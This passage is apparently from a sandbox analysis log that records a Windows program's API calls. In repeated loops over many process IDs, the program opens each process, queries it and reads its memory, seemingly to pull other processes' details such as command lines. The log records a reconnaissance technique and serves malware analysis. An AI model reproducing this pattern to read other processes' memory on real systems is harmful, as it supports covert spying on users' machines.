_ArgList=0x2dc22fc4b8 | out: _Buffer="4036") returned 4 [0292.165] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.165] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.178] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc4) returned 0x16c [0292.178] GetLastError () returned 0x0 [0292.179] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.179] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x377018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.180] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.180] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x551cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.180] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5518f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.181] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.183] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.183] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x377020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.183] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.183] malloc (_Size=0x6a) returned 0x20abc2831b0 [0292.183] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x55195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0292.183] free (_Block=0x20abc2831b0) [0292.184] CloseHandle (hObject=0x16c) returned 1 [0292.184] _ui64tow_s (in: _Value=0xfd4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4052") returned 0x0 [0292.188] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4052") returned 4 [0292.189] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.189] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.223] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfd4) returned 0x16c [0292.223] GetLastError () returned 0x0 [0292.225] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.225] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a5018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.225] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.225] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451cf0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.226] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4518f8, lpBuffer=0x2dc22fc240, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.227] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.228] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.228] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a5020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.228] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.228] malloc (_Size=0x74) returned 0x20abc2831b0 [0292.229] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451964, lpBuffer=0x20abc2831b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0292.229] free (_Block=0x20abc2831b0) [0292.230] CloseHandle (hObject=0x16c) returned 1 [0292.230] _ui64tow_s (in: _Value=0xfdc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4060") returned 0x0 [0292.234] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4060") returned 4 [0292.235] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.235] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.248] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfdc) returned 0x16c [0292.248] GetLastError () returned 0x0 [0292.249] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.249] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3fa018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.249] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.250] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.250] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc22fc240, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.251] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.252] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.252] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3fa020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.252] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.253] malloc (_Size=0x7a) returned 0x20abc2aa330 [0292.253] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e196a, lpBuffer=0x20abc2aa330, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa330*, lpNumberOfBytesRead=0x0) returned 1 [0292.253] free (_Block=0x20abc2aa330) [0292.254] CloseHandle (hObject=0x16c) returned 1 [0292.254] _ui64tow_s (in: _Value=0xfe8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4072") returned 0x0 [0292.283] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4072") returned 4 [0292.285] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.285] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.299] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfe8) returned 0x16c [0292.299] GetLastError () returned 0x0 [0292.300] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.300] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x55b018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.301] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.301] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x781ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.301] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7818f8, lpBuffer=0x2dc22fc240, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.303] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.304] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.304] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x55b020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.304] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7812e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.304] malloc (_Size=0x6e) returned 0x20abc2831b0 [0292.304] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x78195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0292.305] free (_Block=0x20abc2831b0) [0292.306] CloseHandle (hObject=0x16c) returned 1 [0292.306] _ui64tow_s (in: _Value=0xff4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4084") returned 0x0 [0292.309] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4084") returned 4 [0292.310] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.310] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.363] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff4) returned 0x16c [0292.363] GetLastError () returned 0x0 [0292.364] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.364] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a8018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.365] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.365] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a1c80, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.365] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a18f8, lpBuffer=0x2dc22fc240, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.366] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.367] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.367] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a8020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.368] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.368] malloc (_Size=0x4e) returned 0x20abc2a7420 [0292.368] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a193e, lpBuffer=0x20abc2a7420, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7420*, lpNumberOfBytesRead=0x0) returned 1 [0292.368] free (_Block=0x20abc2a7420) [0292.369] CloseHandle (hObject=0x16c) returned 1 [0292.370] _ui64tow_s (in: _Value=0xffc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4092") returned 0x0 [0292.375] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4092") returned 4 [0292.376] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.376] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.394] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xffc) returned 0x16c [0292.394] GetLastError () returned 0x0 [0292.396] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.396] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x257018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.396] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.397] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x641ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.397] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6418f8, lpBuffer=0x2dc22fc240, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.399] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.400] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.422] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x257020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.422] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6412e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.422] malloc (_Size=0x6e) returned 0x20abc2831b0 [0292.422] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x64195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0292.423] free (_Block=0x20abc2831b0) [0292.423] CloseHandle (hObject=0x16c) returned 1 [0292.424] _ui64tow_s (in: _Value=0xb70, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2928") returned 0x0 [0292.427] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2928") returned 4 [0292.428] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.428] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.444] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb70) returned 0x16c [0292.444] GetLastError () returned 0x0 [0292.446] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.446] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3a7018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.446] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.446] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.446] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5218f8, lpBuffer=0x2dc22fc240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.448] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.451] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.451] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3a7020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.452] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5212e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.452] malloc (_Size=0x68) returned 0x20abc280290 [0292.452] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521958, lpBuffer=0x20abc280290, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280290*, lpNumberOfBytesRead=0x0) returned 1 [0292.452] free (_Block=0x20abc280290) [0292.453] CloseHandle (hObject=0x16c) returned 1 [0292.453] _ui64tow_s (in: _Value=0x420, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1056") returned 0x0 [0292.457] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1056") returned 4 [0292.458] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.458] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.515] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x420) returned 0x16c [0292.515] GetLastError () returned 0x0 [0292.516] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.517] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x27e018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.517] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.517] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x111d10, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.517] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1118f8, lpBuffer=0x2dc22fc240, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.518] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.520] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.520] ReadProcessMemory (in: hProcess=0x16c, 